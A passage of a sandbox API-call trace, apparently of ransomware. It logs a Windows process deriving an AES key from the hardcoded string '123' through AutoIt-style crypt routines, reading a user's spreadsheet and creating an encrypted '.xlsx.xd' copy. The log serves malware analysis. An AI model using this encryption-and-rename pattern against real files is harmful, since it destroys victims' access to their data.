(hInternet=0xcc0008) returned 0 [0070.859] CloseHandle (hObject=0x0) returned 0 [0070.859] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.859] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0070.859] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0070.860] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.860] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.860] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.860] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.860] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.860] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.860] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0070.860] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.860] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.860] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0070.860] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.861] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.861] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.861] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.861] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.861] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0070.861] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0070.861] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0070.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0070.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0070.862] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0070.862] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aaa28) returned 1 [0070.862] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.862] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.862] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0070.862] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.862] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.863] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.863] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.863] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.863] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.863] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.863] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.863] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.863] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.863] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.863] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.863] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0070.863] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.863] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.863] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.863] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.863] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.863] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.863] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.863] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.863] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.864] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.864] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.864] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.864] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.864] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.864] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.864] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.864] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.864] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.864] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.864] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.864] CryptCreateHash (in: hProv=0x17aaa28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.865] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.865] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.865] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.865] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629480, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.866] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.866] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.866] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.866] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.866] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.866] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.867] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.867] CryptHashData (hHash=0x164c870, pbData=0x1629470, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.867] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.867] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.867] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.867] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.867] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.867] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.867] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.867] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621648, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.867] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.868] CryptDeriveKey (in: hProv=0x17aaa28, Algid=0x6610, hBaseData=0x164c870, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c770) returned 1 [0070.868] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.868] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.868] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.868] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.868] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.868] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.868] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.868] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.868] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.868] CryptDestroyHash (hHash=0x164c870) returned 1 [0070.868] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.869] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.869] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.869] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.869] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.869] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oxgueznpgykhhz9d.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.870] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.870] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.870] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.870] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.870] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.870] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.870] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oxgueznpgykhhz9d.xlsx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.871] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.871] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.871] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.871] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.873] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.873] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x9bf6, lpOverlapped=0x0) returned 1 [0070.875] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0070.878] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.878] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.878] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.878] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0070.879] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.879] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.879] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0070.879] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.879] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0070.879] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.879] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.879] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.879] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0070.879] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0070.879] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0070.880] CryptGetKeyParam (in: hKey=0x164c770, dwParam=0x7, pbData=0x1629500, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629500*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0070.880] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.880] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.880] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.880] PeekMessageW (in: 